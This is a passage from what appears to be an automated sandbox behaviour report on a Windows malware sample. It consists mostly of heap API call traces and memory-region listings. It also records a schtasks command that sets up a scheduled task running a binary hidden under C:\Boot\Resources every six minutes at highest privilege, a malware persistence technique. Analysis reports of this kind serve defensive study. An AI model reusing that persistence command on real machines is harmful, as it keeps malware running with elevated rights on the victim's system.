0x1157a5a0000 [0130.487] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a8ee0) returned 1 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a8ee0) returned 0x20 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aba90) returned 1 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aba90) returned 0x200 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3950) returned 1 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3950) returned 0x18 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a9000) returned 1 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a9000) returned 0x20 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4330) returned 1 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a4330) returned 0x14 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4310) returned 1 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a4310) returned 0x18 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a90f0) returned 1 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a90f0) returned 0x20 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4350) returned 1 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a4350) returned 0x16 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a42d0) returned 1 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.488] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a42d0) returned 0x18 [0130.488] GetProcessHeap () returned 0x1157a5a0000 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a9060) returned 1 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a9060) returned 0x20 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4480) returned 1 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a4480) returned 0x2 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3fe0) returned 1 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3fe0) returned 0x20 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4030) returned 1 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a4030) returned 0x20 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4060) returned 1 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a4060) returned 0x20 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a2090) returned 1 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.489] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a2090) returned 0x20 [0130.489] GetProcessHeap () returned 0x1157a5a0000 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab630) returned 1 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab630) returned 0x20 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aaaf0) returned 1 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aaaf0) returned 0xc [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab660) returned 1 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab660) returned 0x20 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4290) returned 1 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a4290) returned 0x30 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab690) returned 1 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab690) returned 0x20 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3b50) returned 1 [0130.490] GetProcessHeap () returned 0x1157a5a0000 [0130.490] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3b50) returned 0x30 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab2d0) returned 1 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab2d0) returned 0x20 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aaa90) returned 1 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aaa90) returned 0x16 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab390) returned 1 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab390) returned 0x20 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aab30) returned 1 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.491] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aab30) returned 0x16 [0130.491] GetProcessHeap () returned 0x1157a5a0000 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab570) returned 1 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab570) returned 0x20 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5c6c00) returned 1 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5c6c00) returned 0x82 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab990) returned 1 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab990) returned 0x20 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aa8b0) returned 1 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aa8b0) returned 0xe [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab7e0) returned 1 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.492] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab7e0) returned 0x20 [0130.492] GetProcessHeap () returned 0x1157a5a0000 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aa9f0) returned 1 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aa9f0) returned 0xc [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab4b0) returned 1 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab4b0) returned 0x20 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aa9b0) returned 1 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aa9b0) returned 0xe [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab450) returned 1 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab450) returned 0x20 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aa870) returned 1 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.493] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aa870) returned 0x10 [0130.493] GetProcessHeap () returned 0x1157a5a0000 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aba50) returned 1 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aba50) returned 0x20 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4010) returned 1 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a4010) returned 0x18 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a8dc0) returned 1 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a8dc0) returned 0x20 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a8f40) returned 1 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a8f40) returned 0x20 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a8df0) returned 1 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a8df0) returned 0x20 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] GetProcessHeap () returned 0x1157a5a0000 [0130.494] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a9030) returned 1 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a9030) returned 0x20 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a20c0) returned 1 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a20c0) returned 0x18 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a8f70) returned 1 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a8f70) returned 0x20 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a9090) returned 1 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a9090) returned 0x20 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a8fd0) returned 1 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a8fd0) returned 0x20 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a9120) returned 1 [0130.495] GetProcessHeap () returned 0x1157a5a0000 [0130.495] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a9120) returned 0x20 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a8e80) returned 1 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a8e80) returned 0x20 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a20e0) returned 1 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a20e0) returned 0x18 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a90c0) returned 1 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a90c0) returned 0x20 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4a90) returned 1 [0130.496] GetProcessHeap () returned 0x1157a5a0000 [0130.496] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a4a90) returned 0x18 [0130.496] exit (_Code=0) Thread: id = 152 os_tid = 0x1350 Process: id = "12" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x2146f000" os_pid = "0x134c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x11a8" cmd_line = "schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2928 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2929 start_va = 0x6088c00000 end_va = 0x6088dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006088c00000" filename = "" Region: id = 2930 start_va = 0x6088e00000 end_va = 0x6088e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006088e00000" filename = "" Region: id = 2931 start_va = 0x1ae83280000 end_va = 0x1ae8329ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ae83280000" filename = "" Region: id = 2932 start_va = 0x1ae832a0000 end_va = 0x1ae832b4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ae832a0000" filename = "" Region: id = 2933 start_va = 0x7df5ffc70000 end_va = 0x7ff5ffc6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffc70000" filename = "" Region: id = 2934 start_va = 0x7ff6b66b0000 end_va = 0x7ff6b66d2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b66b0000" filename = "" Region: id = 2935 start_va = 0x7ff6b6f50000 end_va = 0x7ff6b6f8cfff monitored = 1 entry_point = 0x7ff6b6f74550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2936 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2937 start_va = 0x1ae832c0000 end_va = 0x1ae832c3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ae832c0000" filename = "" Region: id = 2938 start_va = 0x1ae832d0000 end_va = 0x1ae832d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ae832d0000" filename = "" Region: id = 2939 start_va = 0x1ae832e0000 end_va = 0x1ae832e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ae832e0000" filename = "" Region: id = 2941 start_va = 0x1ae832f0000 end_va = 0x1ae8340ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ae832f0000" filename = "" Region: id = 2942 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2943 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2944 start_va = 0x1ae83280000 end_va = 0x1ae8328ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ae83280000" filename = "" Region: id = 2945 start_va = 0x7ff6b65b0000 end_va = 0x7ff6b66affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b65b0000" filename = "" Region: id = 2946 start_va = 0x1ae83410000 end_va = 0x1ae834cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2949 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2950 start_va = 0x6088e80000 end_va = 0x6088efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006088e80000" filename = "" Region: id = 2951 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2952 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2953 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2954 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2955 start_va = 0x1ae834d0000 end_va = 0x1ae835effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ae834d0000" filename = "" Region: id = 2956 start_va = 0x1ae83290000 end_va = 0x1ae83296fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ae83290000" filename = "" Region: id = 2957 start_va = 0x1ae835f0000 end_va = 0x1ae83732fff monitored = 0 entry_point = 0x1ae83618210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2958 start_va = 0x1ae832f0000 end_va = 0x1ae832f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ae832f0000" filename = "" Region: id = 2959 start_va = 0x1ae83310000 end_va = 0x1ae8340ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ae83310000" filename = "" Region: id = 2960 start_va = 0x1ae834d0000 end_va = 0x1ae834e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2961 start_va = 0x1ae835e0000 end_va = 0x1ae835effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ae835e0000" filename = "" Region: id = 2962 start_va = 0x1ae835f0000 end_va = 0x1ae83926fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2966 start_va = 0x1ae834f0000 end_va = 0x1ae835ccfff monitored = 0 entry_point = 0x1ae8354e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2967 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2969 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2970 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2971 start_va = 0x1ae834f0000 end_va = 0x1ae83528fff monitored = 0 entry_point = 